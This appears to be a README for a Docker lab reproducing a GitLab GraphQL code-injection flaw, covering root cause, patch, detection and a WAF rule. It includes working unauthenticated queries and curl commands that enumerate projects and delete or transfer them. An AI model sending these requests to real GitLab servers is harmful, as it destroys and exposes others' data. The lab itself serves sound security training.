
Dockerized exploit lab and script for CVE-2026-19478, a critical unauthenticated GitLab GraphQL code injection enabling arbitrary Ruby method calls, project deletion, and data exfiltration.
Unauthenticated Remote Code Injection via GraphQL Directive in GitLab CE/EE — Delete Any Public Project With a Single HTTP Request
A hands-on penetration testing lab that reproduces CVE-2026-19478, a critical (CVSS 9.4) vulnerability in GitLab's GraphQL API. The @gl_introduced directive allows unauthenticated attackers to execute arbitrary Ruby methods on server-side objects — including project deletion, data exfiltration, and ownership transfer — with zero authentication.
This lab runs a real vulnerable GitLab CE 19.2.0 instance in Docker for realistic exploitation practice.
| Field | Value |
|---|
| CVE ID | CVE-2026-19478 |
| CVSS Score | 9.4 (Critical) |
| Product | GitLab Community Edition (CE) / Enterprise Edition (EE) |
| Vulnerability Type | Code Injection / Arbitrary Method Execution (CWE-94) |
| Attack Vector | Network (Remote) |
| Authentication | None required |
| User Interaction | None |
| Attack Complexity | Low |
| Affected Versions | 18.2 – 18.11.10, 19.0 – 19.0.7, 19.1 – 19.1.5, 19.2 – 19.2.3 |
| Patched Versions | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| Discovered By | hiimguardian (via HackerOne) |
| Patch Date | August 17, 2026 |
An unauthenticated remote attacker can:
GitLab uses a custom GraphQL directive @gl_introduced(version: "X.Y") to support rolling deployments. When a newer GitLab version adds a field to the GraphQL API, older instances handle queries referencing those new fields gracefully by returning null instead of erroring.
File: lib/gitlab/graphql/version_filter/future_field_fallback.rb (Lines 14-36)
Step-by-step breakdown:
FutureFieldFilter scans incoming GraphQL queries. When a field has @gl_introduced(version) with a version newer than the current server, it strips the field and sets context[:contain_future_fields] = true.
IntroducedTracer restores the original query document at execution time, putting the stripped fields back into the AST.
FutureFieldFallback#get_field intercepts every field lookup during execution. It checks three conditions:
contain_future_fields flag set? ✅__? ✅When all three checks pass, it synthesizes a new GraphQL::Schema::Field with no resolver class.
In graphql-ruby, a field without a resolver resolves by calling object.public_send(field_name) on the underlying Ruby object — converting the attacker's field name into an arbitrary method call on the Project ActiveRecord model.
GitLab's patch replaces implicit method dispatch with an explicit NilResolver that returns nil unconditionally, preserving rolling-deploy compatibility while eliminating arbitrary method execution:
# BEFORE (vulnerable) — no resolver → method dispatch
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# → object.public_send(field_name) ← ARBITRARY METHOD CALL
# AFTER (patched) — explicit NilResolver
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
resolver_class: NilResolver) # ← always returns nil
ATTACKER (unauthenticated)
│
│ POST /api/graphql
│ { project(fullPath: "victim/repo") {
│ name
│ destroy @gl_introduced(version: "99.0")
│ }}
│
▼
┌──────────────────────────────┐
│ GitLab GraphQL API │
│ (no auth required) │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 1. FutureFieldFilter │
│ "destroy" has @gl_introduced│
│ version 99.0 > 19.2.0 │
│ → Strip field │
│ → Set contain_future_fields │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 2. IntroducedTracer │
│ → Restore original query │
│ "destroy" is back in AST │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 3. FutureFieldFallback │
│ "destroy" not in schema? ✓ │
│ Flag set? ✓ │
│ Not __introspection? ✓ │
│ → Synthesize field │
│ → NO RESOLVER attached │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 4. graphql-ruby resolution │
│ No resolver found → │
│ object.public_send(:destroy)│
│ │
│ Project.find("victim/repo") │
│ .destroy() │
│ │
│ ██ PROJECT DELETED ██ │
└──────────────────────────────┘
curl / httpie for API testing# Clone or navigate to the lab directory
cd CVE-2026-19478
# Pull and start the vulnerable GitLab instance
docker compose up -d
# Wait for GitLab to fully start (3-5 minutes on first boot)
# Monitor startup progress:
docker logs -f gitlab-vulnerable
# Once you see "gitlab Reconfigured!" in logs, set up test projects:
bash setup-lab.sh
| Service | URL | Credentials |
|---|---|---|
| GitLab Web UI | http://localhost | root / P@ssw0rd123! |
| GraphQL API | http://localhost/api/graphql | None required |
| GraphQL Explorer | http://localhost/-/graphql-explorer | Login required |
| SSH | localhost:2222 | — |
For machines with limited resources or for faster startup:
docker compose -f docker-compose.simulated.yml up --build -d
# Access at http://localhost:5000
# Stop the lab
docker compose down
# Full reset (removes all data volumes)
docker compose down -v
Check the server version:
curl -s http://localhost/api/v4/version | jq
# {"version": "19.2.0", "enterprise": false}
Enumerate public projects via GraphQL (no auth):
{
projects(membership: false) {
nodes {
id
name
fullPath
visibility
}
}
}
Discover the @gl_introduced directive via schema introspection:
{
__schema {
directives {
name
description
args { name type { name } }
locations
}
}
}
Use @gl_introduced with a future version on a field that doesn't exist in the schema:
{
project(fullPath: "root/pwnsystem") {
name
class @gl_introduced(version: "99.0")
}
}
If vulnerable, class returns the Ruby class name ("Project"), confirming arbitrary method dispatch.
{
project(fullPath: "root/pwnsystem") {
name
object_id @gl_introduced(version: "99.0")
to_s @gl_introduced(version: "99.0")
}
}
WARNING: The following will permanently delete the project.
{
project(fullPath: "root/pwnsystem") {
name
destroy @gl_introduced(version: "99.0")
}
}
Other exploitable methods on GitLab's Project model:
| Method | Impact |
|---|---|
destroy | Permanently deletes the project |
archive | Archives the project |
transfer | Transfers project ownership |
attributes | Dumps all database attributes |
repository | Accesses the repository object |
members | Lists project members |
# Enumerate public projects
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ projects(membership: false) { nodes { id name fullPath visibility } } }"}' | jq
# Verify arbitrary method dispatch
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ project(fullPath: \"root/pwnsystem\") { name class @gl_introduced(version: \"99.0\") } }"}' | jq
# Delete a project (DESTRUCTIVE)
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ project(fullPath: \"root/gitlabproject\") { name destroy @gl_introduced(version: \"99.0\") } }"}' | jq
# Search GitLab production logs for exploitation attempts
grep -i "gl_introduced" /var/log/gitlab/gitlab-rails/production.log
# Search for high version numbers (exploitation signature)
grep -oP '@gl_introduced\(version:\s*"\K[^"]+' /var/log/gitlab/gitlab-rails/production.log | \
awk -F. '$1 > 20 {print}'
| Indicator | Description |
|---|---|
@gl_introduced(version: "99.0") | Exploitation attempt with unrealistically high version |
Field names: destroy, delete, update, transfer | Targeting destructive ActiveRecord methods |
| Unexpected project deletions | Projects disappearing without admin action |
| Visibility changes | Public projects suddenly becoming private |
| Ownership transfers | Projects transferred to unknown users |
Block GraphQL requests containing @gl_introduced with high version numbers:
# Nginx WAF rule
if ($request_body ~* "@gl_introduced.*version.*\"[2-9][0-9]\." ) {
return 403;
}
@gl_introduced with high version strings at the reverse proxy/WAF levelThis lab is built exclusively for authorized security education and penetration testing training. It must only be used in controlled, isolated environments that you own or have explicit written authorization to test.
Do not use the techniques, tools, or exploit code from this lab against any system without proper authorization. Unauthorized access to computer systems is illegal under the Computer Fraud and Abuse Act (CFAA) and equivalent laws worldwide.
The authors and contributors are not responsible for any misuse or damage caused by this lab or its contents.
Follow @pwnsystem on Instagram for daily cybersecurity tips, CVE breakdowns, and exploit walkthroughs.
Connect with Punit Darji on LinkedIn for professional security insights and lab updates.